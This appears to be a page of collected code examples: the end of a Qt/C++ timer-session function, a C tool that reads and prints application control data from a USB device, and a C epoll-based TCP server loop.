    session_args["x"] = window_location.x();
    session_args["y"] = window_location.y();
    session_args["timer_id"] = session_count();
    session_args["database_name"] =
        QString::fromStdString(session_store_name("timer"));

    start_session("Timer", session_args, false,
                  [this](cherry_kit::desktop_controller_interface *a_controller,
                         cherry_kit::session_sync *a_session) {
      priv->setup_create_timer_ui((time_controller *)a_controller, a_session);
    });
  });

  task.add_action(time_task);
  task.add_action(timer_task);
  return task;
}
コード例 #29
0
int
main(int argc, char *argv[])
{
	int ret = 1, i;
	dldev_t dev;

	/* for data security */
	/*
	umask(S_IRWXG | S_IRWXO);
	*/

	while((i = getopt(argc, argv, "hd:")) != -1){
		switch(i){
		case 'd':
			dev_file = optarg;
			break;
		case 'h':
		default:
			usage();
			break;
		}
	}
	argc -= optind;
	argv += optind;

#ifdef USB_USBHID
	dev.usb.file = dev_file;
#endif

	if(open_dev(&dev)){
		ERROR("open_dev");
		goto exit;
	}

	if(start_session(&dev)){
		ERROR("read_app_info");
		goto exit;
	}

/******************************************************************************/

	fprintf(stdout, "a: acd.app_idx\nc: acd.code_loc\nd: acd.db_loc\n"
		"i: acd.code_invalid\nm: acd.db_modified\nI: acd.db_invalid\n"
		"p: acd.passwd_req\nb: acd.user_banner\nidx "
		"acdimIpb type inst  asd  add stat refr bann code banner\n");
	for(i = 0; i < NUM_APPS; i++){
		if(!dev.app[i].acd.app_idx)
			continue;
		fprintf(stdout, "%2d: %d%d%d%d%d%d%d%d   %02x   %02x %04x %04x %04x %04x %04x %04x %s\n", i,
				dev.app[i].acd.app_idx,
				dev.app[i].acd.code_loc,
				dev.app[i].acd.db_loc,
				dev.app[i].acd.code_invalid,
				dev.app[i].acd.db_modified,
				dev.app[i].acd.db_invalid,
				dev.app[i].acd.passwd_req,
				dev.app[i].acd.user_banner,

				dev.app[i].acb.app_type,
				dev.app[i].acb.app_inst,

				dev.app[i].acb.asd_addr,
				dev.app[i].acb.add_addr,
				dev.app[i].acb.state_mgr_addr,
				dev.app[i].acb.refresh_addr,
				dev.app[i].acb.banner_addr,
				dev.app[i].acb.code_addr,
				dev.app[i].banner
		);
	}

	fprintf(stdout, "sync id: %s\n", dev.icb.sync_id);

/******************************************************************************/
	if(exit_session(&dev)){
		ERROR("exit_session");
		goto exit;
	}

	ret = 0;
exit:
	close_dev(&dev);

	exit(ret);
}
コード例 #30
0
int
main(int argc, char **argv)
{
  struct addrinfo *addresses;

  {
    GOptionContext *context;
    GError *error = NULL;

    context = g_option_context_new("server side implementation by thread");
    g_option_context_add_main_entries(context, entries, NULL);
    if (!g_option_context_parse(context, &argc, &argv, &error)) {
      g_print("failed to parse options: %s\n", error->message);
      g_error_free(error);
      g_option_context_free(context);
      return EXIT_FAILURE;
    }
    g_option_context_free(context);
  }

  {
    struct addrinfo hints;
    int error;

    memset(&hints, 0, sizeof(struct addrinfo));
    hints.ai_family = AF_UNSPEC;
    hints.ai_socktype = SOCK_STREAM;
    hints.ai_flags = AI_PASSIVE;
    hints.ai_protocol = 0;

    error = getaddrinfo(NULL, port, &hints, &addresses);
    if (error != 0) {
      g_print("failed to getaddrinfo(): %s\n", g_strerror(error));
      return EXIT_FAILURE;
    }
  }

  {
    struct addrinfo *address = addresses;
    int accept_socket_fd;

    accept_socket_fd = socket(address->ai_family,
                              address->ai_socktype,
                              address->ai_protocol);
    if (accept_socket_fd == -1) {
      perror("failed to socket()");
      return EXIT_FAILURE;
    }

    {
      gboolean reuse_address = TRUE;
      if (setsockopt(accept_socket_fd, SOL_SOCKET, SO_REUSEADDR,
                     &reuse_address, sizeof(reuse_address)) == -1) {
        perror("failed to setsockopt(SO_REUSEADDR): %s");
        return EXIT_FAILURE;
      }
    }

    if (bind(accept_socket_fd, address->ai_addr, address->ai_addrlen) == -1) {
      perror("failed to bind()");
      return EXIT_FAILURE;
    }

    {
      const int backlog = 1024;
      if (listen(accept_socket_fd, backlog) == -1) {
        perror("failed to listen()");
        return EXIT_FAILURE;
      }
    }

    {
      Context context;
      Session accept_session;
      int not_used_size = 1;
#define MAX_EVENTS 10
      struct epoll_event events[MAX_EVENTS];

      context.epoll_fd = epoll_create(not_used_size);
      if (context.epoll_fd == -1) {
        perror("failed to epoll_create()");
        return EXIT_FAILURE;
      }

      {
        struct epoll_event event;
        int epoll_fd = context.epoll_fd;
        event.events = EPOLLIN;
        event.data.ptr = &accept_session;
        accept_session.socket_fd = accept_socket_fd;
        accept_session.message_size = 0;
        accept_session.context = &context;
        if (epoll_ctl(epoll_fd, EPOLL_CTL_ADD, accept_socket_fd, &event) == -1) {
          perror("failed to epoll_ctl(EPOLL_CTL_ADD, accept_fd)");
          return EXIT_FAILURE;
        }

        while (TRUE) {
          int i, n_events;

          n_events = epoll_wait(context.epoll_fd, events, MAX_EVENTS, -1);

          for (i = 0; i < n_events; i++) {
            struct epoll_event *event = events + i;
            Session *session;

            session = event->data.ptr;
            if (session->socket_fd == accept_socket_fd) {
              if (!start_session(&context, session->socket_fd)) {
                return EXIT_FAILURE;
              }
              continue;
            }

            if (event->events & (EPOLLIN | EPOLLPRI)) {
              if (!receive_message(session)) {
                return EXIT_FAILURE;
              }
            } else if (event->events & EPOLLOUT) {
              if (!send_message(session)) {
                return EXIT_FAILURE;
              }
            } else if (event->events & (EPOLLHUP | EPOLLERR)) {
              if (!stop_session(session)) {
                return EXIT_FAILURE;
              }
            }
          }
        }
      }
    }
  }

  freeaddrinfo(addresses);

  return EXIT_SUCCESS;
}